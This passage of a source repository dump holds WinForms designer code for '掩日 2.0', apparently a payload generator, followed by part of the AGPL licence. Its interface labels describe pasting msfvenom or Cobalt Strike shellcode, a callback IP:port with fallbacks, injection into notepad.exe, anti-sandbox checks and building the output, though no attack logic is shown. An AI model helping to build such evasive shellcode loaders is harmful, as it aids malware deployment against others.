this.textBoxDescription.Margin = new System.Windows.Forms.Padding(6, 2, 3, 2); 136 | this.textBoxDescription.Multiline = true; 137 | this.textBoxDescription.Name = "textBoxDescription"; 138 | this.textBoxDescription.ReadOnly = true; 139 | this.textBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both; 140 | this.textBoxDescription.Size = new System.Drawing.Size(271, 119); 141 | this.textBoxDescription.TabIndex = 23; 142 | this.textBoxDescription.TabStop = false; 143 | this.textBoxDescription.Text = "说明"; 144 | // 145 | // okButton 146 | // 147 | this.okButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); 148 | this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; 149 | this.okButton.Location = new System.Drawing.Point(339, 222); 150 | this.okButton.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); 151 | this.okButton.Name = "okButton"; 152 | this.okButton.Size = new System.Drawing.Size(75, 22); 153 | this.okButton.TabIndex = 24; 154 | this.okButton.Text = "确定(&O)"; 155 | this.okButton.Click += new System.EventHandler(this.okButton_Click); 156 | // 157 | // AboutBox1 158 | // 159 | this.AcceptButton = this.okButton; 160 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 161 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 162 | this.ClientSize = new System.Drawing.Size(435, 262); 163 | this.Controls.Add(this.tableLayoutPanel); 164 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; 165 | this.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); 166 | this.MaximizeBox = false; 167 | this.MinimizeBox = false; 168 | this.Name = "AboutBox1"; 169 | this.Padding = new System.Windows.Forms.Padding(9, 8, 9, 8); 170 | this.ShowIcon = false; 171 | this.ShowInTaskbar = false; 172 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; 173 | this.Text = "AboutBox1"; 174 | this.tableLayoutPanel.ResumeLayout(false); 175 | this.tableLayoutPanel.PerformLayout(); 176 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit(); 177 | this.ResumeLayout(false); 178 | 179 | } 180 | 181 | #endregion 182 | 183 | private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; 184 | private System.Windows.Forms.PictureBox logoPictureBox; 185 | private System.Windows.Forms.Label labelProductName; 186 | private System.Windows.Forms.Label labelVersion; 187 | private System.Windows.Forms.Label labelCopyright; 188 | private System.Windows.Forms.Label labelCompanyName; 189 | private System.Windows.Forms.TextBox textBoxDescription; 190 | private System.Windows.Forms.Button okButton; 191 | private System.ComponentModel.BackgroundWorker backgroundWorker1; 192 | } 193 | } 194 | -------------------------------------------------------------------------------- /掩日2.0/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace 掩日2._0 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// 必需的设计器变量。 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// 清理所有正在使用的资源。 12 | /// 13 | /// 如果应释放托管资源,为 true;否则为 false。 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows 窗体设计器生成的代码 24 | 25 | /// 26 | /// 设计器支持所需的方法 - 不要修改 27 | /// 使用代码编辑器修改此方法的内容。 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); 33 | this.linkLabel1 = new System.Windows.Forms.LinkLabel(); 34 | this.textBox1 = new System.Windows.Forms.TextBox(); 35 | this.button1 = new System.Windows.Forms.Button(); 36 | this.label3 = new System.Windows.Forms.Label(); 37 | this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); 38 | this.comboBox5 = new System.Windows.Forms.ComboBox(); 39 | this.textBox2 = new System.Windows.Forms.TextBox(); 40 | this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog(); 41 | this.panel1 = new System.Windows.Forms.Panel(); 42 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 43 | this.label8 = new System.Windows.Forms.Label(); 44 | this.panel2 = new System.Windows.Forms.Panel(); 45 | this.radioButton6 = new System.Windows.Forms.RadioButton(); 46 | this.pictureBox3 = new System.Windows.Forms.PictureBox(); 47 | this.radioButton3 = new System.Windows.Forms.RadioButton(); 48 | this.label6 = new System.Windows.Forms.Label(); 49 | this.label4 = new System.Windows.Forms.Label(); 50 | this.comboBox2 = new System.Windows.Forms.ComboBox(); 51 | this.label2 = new System.Windows.Forms.Label(); 52 | this.comboBox1 = new System.Windows.Forms.ComboBox(); 53 | this.label1 = new System.Windows.Forms.Label(); 54 | this.comboBox3 = new System.Windows.Forms.ComboBox(); 55 | this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog(); 56 | this.panel1.SuspendLayout(); 57 | this.panel2.SuspendLayout(); 58 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); 59 | this.SuspendLayout(); 60 | // 61 | // linkLabel1 62 | // 63 | this.linkLabel1.AutoSize = true; 64 | this.linkLabel1.Font = new System.Drawing.Font("微软雅黑", 8F); 65 | this.linkLabel1.LinkColor = System.Drawing.Color.Blue; 66 | this.linkLabel1.Location = new System.Drawing.Point(187, 56); 67 | this.linkLabel1.Name = "linkLabel1"; 68 | this.linkLabel1.Size = new System.Drawing.Size(56, 20); 69 | this.linkLabel1.TabIndex = 0; 70 | this.linkLabel1.TabStop = true; 71 | this.linkLabel1.Text = "🔻进阶"; 72 | this.toolTip1.SetToolTip(this.linkLabel1, "打开进阶选项"); 73 | this.linkLabel1.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked); 74 | // 75 | // textBox1 76 | // 77 | this.textBox1.Location = new System.Drawing.Point(23, 13); 78 | this.textBox1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 79 | this.textBox1.Name = "textBox1"; 80 | this.textBox1.Size = new System.Drawing.Size(265, 27); 81 | this.textBox1.TabIndex = 3; 82 | this.textBox1.Text = "127.0.0.1:4444"; 83 | this.toolTip1.SetToolTip(this.textBox1, "格式为 IP:端口,支持输入多个IP:端口,英文 , 隔开。如果填入多个IP(最多3个),程序在运行时将随机连接一个地址,连接失败会自动重试其他地址"); 84 | // 85 | // button1 86 | // 87 | this.button1.Font = new System.Drawing.Font("宋体", 9F); 88 | this.button1.Location = new System.Drawing.Point(103, 46); 89 | this.button1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 90 | this.button1.Name = "button1"; 91 | this.button1.Size = new System.Drawing.Size(84, 26); 92 | this.button1.TabIndex = 5; 93 | this.button1.Text = "生成"; 94 | this.button1.UseVisualStyleBackColor = true; 95 | this.button1.Click += new System.EventHandler(this.button1_Click); 96 | // 97 | // label3 98 | // 99 | this.label3.AutoSize = true; 100 | this.label3.Location = new System.Drawing.Point(272, 52); 101 | this.label3.Name = "label3"; 102 | this.label3.Size = new System.Drawing.Size(30, 20); 103 | this.label3.TabIndex = 8; 104 | this.label3.Text = "🛠"; 105 | this.toolTip1.SetToolTip(this.label3, "关于"); 106 | this.label3.Click += new System.EventHandler(this.label3_Click); 107 | // 108 | // toolTip1 109 | // 110 | this.toolTip1.AutoPopDelay = 15000; 111 | this.toolTip1.InitialDelay = 500; 112 | this.toolTip1.ReshowDelay = 100; 113 | // 114 | // comboBox5 115 | // 116 | this.comboBox5.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 117 | this.comboBox5.Font = new System.Drawing.Font("微软雅黑", 8F); 118 | this.comboBox5.FormattingEnabled = true; 119 | this.comboBox5.Location = new System.Drawing.Point(102, 134); 120 | this.comboBox5.Name = "comboBox5"; 121 | this.comboBox5.Size = new System.Drawing.Size(185, 27); 122 | this.comboBox5.TabIndex = 23; 123 | this.toolTip1.SetToolTip(this.comboBox5, "已经自带了简单的反沙箱功能,可以按需再选"); 124 | // 125 | // textBox2 126 | // 127 | this.textBox2.Location = new System.Drawing.Point(102, 92); 128 | this.textBox2.Name = "textBox2"; 129 | this.textBox2.Size = new System.Drawing.Size(185, 27); 130 | this.textBox2.TabIndex = 15; 131 | this.textBox2.Text = "notepad.exe"; 132 | this.toolTip1.SetToolTip(this.textBox2, "注入新进程建议输入 notepad.exe 或 calc.exe 等"); 133 | // 134 | // panel1 135 | // 136 | this.panel1.Controls.Add(this.richTextBox1); 137 | this.panel1.Controls.Add(this.comboBox5); 138 | this.panel1.Controls.Add(this.label8); 139 | this.panel1.Controls.Add(this.panel2); 140 | this.panel1.Controls.Add(this.textBox2); 141 | this.panel1.Controls.Add(this.label4); 142 | this.panel1.Controls.Add(this.comboBox2); 143 | this.panel1.Controls.Add(this.label2); 144 | this.panel1.Controls.Add(this.comboBox1); 145 | this.panel1.Controls.Add(this.label1); 146 | this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom; 147 | this.panel1.Location = new System.Drawing.Point(0, 78); 148 | this.panel1.Name = "panel1"; 149 | this.panel1.Size = new System.Drawing.Size(305, 403); 150 | this.panel1.TabIndex = 9; 151 | this.panel1.Visible = false; 152 | // 153 | // richTextBox1 154 | // 155 | this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; 156 | this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom; 157 | this.richTextBox1.ForeColor = System.Drawing.Color.Gray; 158 | this.richTextBox1.Location = new System.Drawing.Point(0, 232); 159 | this.richTextBox1.Name = "richTextBox1"; 160 | this.richTextBox1.Size = new System.Drawing.Size(305, 171); 161 | this.richTextBox1.TabIndex = 10; 162 | this.richTextBox1.Text = "粘贴msfvenom或CobaltStrike生成的shellcode到此, shellcode必须为 c 或 c# 格式"; 163 | this.richTextBox1.Click += new System.EventHandler(this.richTextBox1_Click); 164 | this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged); 165 | // 166 | // label8 167 | // 168 | this.label8.AutoSize = true; 169 | this.label8.Location = new System.Drawing.Point(11, 138); 170 | this.label8.Name = "label8"; 171 | this.label8.Size = new System.Drawing.Size(105, 20); 172 | this.label8.TabIndex = 22; 173 | this.label8.Text = "虚拟机/沙箱:"; 174 | // 175 | // panel2 176 | // 177 | this.panel2.Controls.Add(this.radioButton6); 178 | this.panel2.Controls.Add(this.pictureBox3); 179 | this.panel2.Controls.Add(this.radioButton3); 180 | this.panel2.Controls.Add(this.label6); 181 | this.panel2.Location = new System.Drawing.Point(2, 172); 182 | this.panel2.Name = "panel2"; 183 | this.panel2.Size = new System.Drawing.Size(301, 62); 184 | this.panel2.TabIndex = 19; 185 | // 186 | // radioButton6 187 | // 188 | this.radioButton6.AutoSize = true; 189 | this.radioButton6.Location = new System.Drawing.Point(166, 30); 190 | this.radioButton6.Name = "radioButton6"; 191 | this.radioButton6.Size = new System.Drawing.Size(75, 24); 192 | this.radioButton6.TabIndex = 28; 193 | this.radioButton6.Text = "自定义"; 194 | this.radioButton6.UseVisualStyleBackColor = true; 195 | this.radioButton6.CheckedChanged += new System.EventHandler(this.radioButton6_CheckedChanged); 196 | // 197 | // pictureBox3 198 | // 199 | this.pictureBox3.Location = new System.Drawing.Point(250, 19); 200 | this.pictureBox3.Name = "pictureBox3"; 201 | this.pictureBox3.Size = new System.Drawing.Size(35, 35); 202 | this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 203 | this.pictureBox3.TabIndex = 27; 204 | this.pictureBox3.TabStop = false; 205 | // 206 | // radioButton3 207 | // 208 | this.radioButton3.AutoSize = true; 209 | this.radioButton3.Checked = true; 210 | this.radioButton3.Location = new System.Drawing.Point(100, 30); 211 | this.radioButton3.Name = "radioButton3"; 212 | this.radioButton3.Size = new System.Drawing.Size(45, 24); 213 | this.radioButton3.TabIndex = 21; 214 | this.radioButton3.TabStop = true; 215 | this.radioButton3.Text = "无"; 216 | this.radioButton3.UseVisualStyleBackColor = true; 217 | this.radioButton3.CheckedChanged += new System.EventHandler(this.radioButton3_CheckedChanged); 218 | // 219 | // label6 220 | // 221 | this.label6.AutoSize = true; 222 | this.label6.Location = new System.Drawing.Point(9, 1); 223 | this.label6.Name = "label6"; 224 | this.label6.Size = new System.Drawing.Size(84, 20); 225 | this.label6.TabIndex = 20; 226 | this.label6.Text = "设置图标:"; 227 | // 228 | // label4 229 | // 230 | this.label4.AutoSize = true; 231 | this.label4.Location = new System.Drawing.Point(11, 96); 232 | this.label4.Name = "label4"; 233 | this.label4.Size = new System.Drawing.Size(99, 20); 234 | this.label4.TabIndex = 14; 235 | this.label4.Text = "注入进程名:"; 236 | // 237 | // comboBox2 238 | // 239 | this.comboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 240 | this.comboBox2.Font = new System.Drawing.Font("微软雅黑", 8F); 241 | this.comboBox2.FormattingEnabled = true; 242 | this.comboBox2.Location = new System.Drawing.Point(101, 53); 243 | this.comboBox2.Name = "comboBox2"; 244 | this.comboBox2.Size = new System.Drawing.Size(185, 27); 245 | this.comboBox2.TabIndex = 13; 246 | this.comboBox2.SelectedIndexChanged += new System.EventHandler(this.comboBox2_SelectedIndexChanged); 247 | // 248 | // label2 249 | // 250 | this.label2.AutoSize = true; 251 | this.label2.Location = new System.Drawing.Point(11, 56); 252 | this.label2.Name = "label2"; 253 | this.label2.Size = new System.Drawing.Size(84, 20); 254 | this.label2.TabIndex = 12; 255 | this.label2.Text = "执行方式:"; 256 | // 257 | // comboBox1 258 | // 259 | this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 260 | this.comboBox1.Font = new System.Drawing.Font("微软雅黑", 8F); 261 | this.comboBox1.FormattingEnabled = true; 262 | this.comboBox1.Items.AddRange(new object[] { 263 | "C", 264 | "C#"}); 265 | this.comboBox1.Location = new System.Drawing.Point(102, 8); 266 | this.comboBox1.Name = "comboBox1"; 267 | this.comboBox1.Size = new System.Drawing.Size(185, 27); 268 | this.comboBox1.TabIndex = 11; 269 | this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); 270 | // 271 | // label1 272 | // 273 | this.label1.AutoSize = true; 274 | this.label1.Location = new System.Drawing.Point(11, 15); 275 | this.label1.Name = "label1"; 276 | this.label1.Size = new System.Drawing.Size(84, 20); 277 | this.label1.TabIndex = 10; 278 | this.label1.Text = "编译语言:"; 279 | // 280 | // comboBox3 281 | // 282 | this.comboBox3.BackColor = System.Drawing.SystemColors.Window; 283 | this.comboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 284 | this.comboBox3.Font = new System.Drawing.Font("微软雅黑", 8F); 285 | this.comboBox3.ForeColor = System.Drawing.Color.Black; 286 | this.comboBox3.FormattingEnabled = true; 287 | this.comboBox3.Items.AddRange(new object[] { 288 | "32位", 289 | "64位"}); 290 | this.comboBox3.Location = new System.Drawing.Point(23, 48); 291 | this.comboBox3.Name = "comboBox3"; 292 | this.comboBox3.Size = new System.Drawing.Size(48, 27); 293 | this.comboBox3.TabIndex = 17; 294 | this.comboBox3.SelectedIndexChanged += new System.EventHandler(this.comboBox3_SelectedIndexChanged); 295 | // 296 | // openFileDialog1 297 | // 298 | this.openFileDialog1.FileName = "openFileDialog1"; 299 | // 300 | // Form1 301 | // 302 | this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); 303 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 304 | this.ClientSize = new System.Drawing.Size(305, 481); 305 | this.Controls.Add(this.panel1); 306 | this.Controls.Add(this.label3); 307 | this.Controls.Add(this.button1); 308 | this.Controls.Add(this.textBox1); 309 | this.Controls.Add(this.linkLabel1); 310 | this.Controls.Add(this.comboBox3); 311 | this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); 312 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 313 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 314 | this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); 315 | this.MaximizeBox = false; 316 | this.Name = "Form1"; 317 | this.Text = "掩日 2.0 - 1y0n.com"; 318 | this.panel1.ResumeLayout(false); 319 | this.panel1.PerformLayout(); 320 | this.panel2.ResumeLayout(false); 321 | this.panel2.PerformLayout(); 322 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); 323 | this.ResumeLayout(false); 324 | this.PerformLayout(); 325 | 326 | } 327 | 328 | #endregion 329 | 330 | private System.Windows.Forms.LinkLabel linkLabel1; 331 | private System.Windows.Forms.TextBox textBox1; 332 | private System.Windows.Forms.Button button1; 333 | private System.Windows.Forms.Label label3; 334 | private System.Windows.Forms.ToolTip toolTip1; 335 | private System.Windows.Forms.SaveFileDialog saveFileDialog1; 336 | private System.Windows.Forms.Panel panel1; 337 | private System.Windows.Forms.TextBox textBox2; 338 | private System.Windows.Forms.Label label4; 339 | private System.Windows.Forms.ComboBox comboBox2; 340 | private System.Windows.Forms.Label label2; 341 | private System.Windows.Forms.ComboBox comboBox1; 342 | private System.Windows.Forms.Label label1; 343 | private System.Windows.Forms.Panel panel2; 344 | private System.Windows.Forms.RadioButton radioButton6; 345 | private System.Windows.Forms.PictureBox pictureBox3; 346 | private System.Windows.Forms.RadioButton radioButton3; 347 | private System.Windows.Forms.Label label6; 348 | private System.Windows.Forms.ComboBox comboBox5; 349 | private System.Windows.Forms.Label label8; 350 | private System.Windows.Forms.RichTextBox richTextBox1; 351 | private System.Windows.Forms.ComboBox comboBox3; 352 | private System.Windows.Forms.OpenFileDialog openFileDialog1; 353 | } 354 | } 355 | 356 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 